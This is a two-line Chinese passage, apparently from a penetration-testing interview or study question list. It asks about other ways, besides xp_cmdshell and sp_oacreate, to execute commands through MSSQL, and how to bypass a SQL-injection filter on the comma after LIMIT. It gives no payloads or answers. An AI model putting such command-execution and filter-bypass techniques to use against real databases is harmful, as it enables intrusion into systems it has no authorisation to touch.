MSSQL 除了 `xp_cmdshell`、`sp_oacreate` 还有什么办法执行命令？

过滤`limit`后的逗号如何绕过